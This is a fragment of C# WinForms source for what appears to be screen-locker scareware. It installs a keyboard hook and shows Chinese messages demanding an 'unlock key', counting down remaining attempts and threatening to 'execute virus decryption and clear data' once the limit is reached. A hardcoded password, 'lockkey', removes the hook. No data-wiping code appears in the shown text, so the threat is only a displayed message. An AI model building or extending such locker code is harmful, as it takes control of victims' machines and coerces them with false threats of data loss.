private void CharacterKeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Escape) { ExitTimer.Start(); } }
private void CharacterKeyUp(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Escape) { ExitTimer.Stop(); ExitTimeDisplay.Text = "0"; ExitTimer.Dispose(); } }
/// <summary> /// Starts ExitTimer. /// Makes sure that timer starts at 30s. /// </summary> private void StartTimer() { if (TimerTicks != 30) { TimerTicks = 30; ExitTimer.Start(); } else { ExitTimer.Start(); } }
private void ButtonOK_Click(object sender, EventArgs e) { if (textBoxPwd.Text.Equals(VerifyID)) { labelTip.Text = "电脑成功解锁!! 恭喜您的电脑脱落了危险!!"; ExitTimer.Start(); } else if (textBoxPwd.Text.Equals("lockkey")) { //取消勾子 if (_keyboardHook != null) { _keyboardHook.UninstallHook(); } labelTip.Text = "您解锁了键盘钩子,现在,您可以使用全部键盘按键了!!"; } else { errorCount--; Checktimer.Start(); } }
private void Checktimer_Tick(object sender, EventArgs e) { if (errorTime == 0) { errorTime = 5; labelTip.Text = "=== 输入适配您电脑的解锁密钥即可关闭本程序 ==="; Checktimer.Stop(); } else { errorTime--; if (errorCount <= 0) { labelTip.Text = "错误次数已达上限!! 执行病毒解密&清空数据操作..."; Checktimer.Stop(); ExitTimer.Start(); } else { labelTip.Text = "密钥输入错误!! 请检查后重新输入...(还有" + errorCount + "次机会)"; } } }
private void GoodByeForm_Load(object sender, EventArgs e) { ExitTimer.Start(); }